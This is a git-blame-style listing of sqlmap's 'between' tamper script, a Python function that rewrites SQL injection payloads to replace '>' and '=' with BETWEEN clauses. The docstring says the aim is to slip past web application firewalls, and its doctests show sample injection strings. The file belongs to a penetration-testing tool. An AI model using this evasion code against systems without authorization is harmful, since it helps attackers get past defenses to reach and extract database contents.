2019-05-08 13:47:52 +03:00
|
|
|
#!/usr/bin/env python
|
2011-02-07 02:25:55 +03:00
|
|
|
|
|
|
|
"""
|
2024-01-04 01:11:52 +03:00
|
|
|
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
|
2017-10-11 15:50:46 +03:00
|
|
|
See the file 'LICENSE' for copying permission
|
2011-02-07 02:25:55 +03:00
|
|
|
"""
|
|
|
|
|
2012-11-29 17:41:07 +04:00
|
|
|
import re
|
|
|
|
|
2011-02-07 02:25:55 +03:00
|
|
|
from lib.core.enums import PRIORITY
|
|
|
|
|
|
|
|
__priority__ = PRIORITY.HIGHEST
|
|
|
|
|
2011-07-07 01:04:45 +04:00
|
|
|
def dependencies():
|
|
|
|
pass
|
|
|
|
|
2012-12-03 17:27:01 +04:00
|
|
|
def tamper(payload, **kwargs):
|
2011-02-07 02:25:55 +03:00
|
|
|
"""
|
2018-07-31 02:17:11 +03:00
|
|
|
Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' and equals operator ('=') with 'BETWEEN # AND #'
|
2011-07-07 01:04:45 +04:00
|
|
|
|
|
|
|
Tested against:
|
|
|
|
* Microsoft SQL Server 2005
|
|
|
|
* MySQL 4, 5.0 and 5.5
|
|
|
|
* Oracle 10g
|
|
|
|
* PostgreSQL 8.3, 8.4, 9.0
|
|
|
|
|
|
|
|
Notes:
|
|
|
|
* Useful to bypass weak and bespoke web application firewalls that
|
|
|
|
filter the greater than character
|
|
|
|
* The BETWEEN clause is SQL standard. Hence, this tamper script
|
|
|
|
should work against all (?) databases
|
2013-03-14 00:57:09 +04:00
|
|
|
|
|
|
|
>>> tamper('1 AND A > B--')
|
|
|
|
'1 AND A NOT BETWEEN 0 AND B--'
|
2014-04-22 13:04:28 +04:00
|
|
|
>>> tamper('1 AND A = B--')
|
|
|
|
'1 AND A BETWEEN B AND B--'
|
2019-05-02 17:54:54 +03:00
|
|
|
>>> tamper('1 AND LAST_INSERT_ROWID()=LAST_INSERT_ROWID()')
|
|
|
|
'1 AND LAST_INSERT_ROWID() BETWEEN LAST_INSERT_ROWID() AND LAST_INSERT_ROWID()'
|
2011-02-07 02:25:55 +03:00
|
|
|
"""
|
|
|
|
|
2011-04-04 12:18:26 +04:00
|
|
|
retVal = payload
|
2011-02-07 02:25:55 +03:00
|
|
|
|
2011-04-04 12:18:26 +04:00
|
|
|
if payload:
|
2013-01-29 19:22:19 +04:00
|
|
|
match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*>\s*([^>]+)\s*\Z", payload)
|
2011-02-07 02:25:55 +03:00
|
|
|
|
2013-01-29 19:22:19 +04:00
|
|
|
if match:
|
|
|
|
_ = "%s %s NOT BETWEEN 0 AND %s" % (match.group(2), match.group(4), match.group(5))
|
|
|
|
retVal = retVal.replace(match.group(0), _)
|
2013-02-19 13:12:47 +04:00
|
|
|
else:
|
2018-06-10 00:38:00 +03:00
|
|
|
retVal = re.sub(r"\s*>\s*(\d+|'[^']+'|\w+\(\d+\))", r" NOT BETWEEN 0 AND \g<1>", payload)
|
2011-02-07 02:25:55 +03:00
|
|
|
|
2014-04-22 13:04:28 +04:00
|
|
|
if retVal == payload:
|
2019-05-02 17:54:54 +03:00
|
|
|
match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^=]+?)\s*=\s*([\w()]+)\s*", payload)
|
2014-04-22 13:04:28 +04:00
|
|
|
|
|
|
|
if match:
|
|
|
|
_ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5))
|
|
|
|
retVal = retVal.replace(match.group(0), _)
|
2014-08-20 23:07:19 +04:00
|
|
|
|
2012-10-25 12:10:23 +04:00
|
|
|
return retVal
|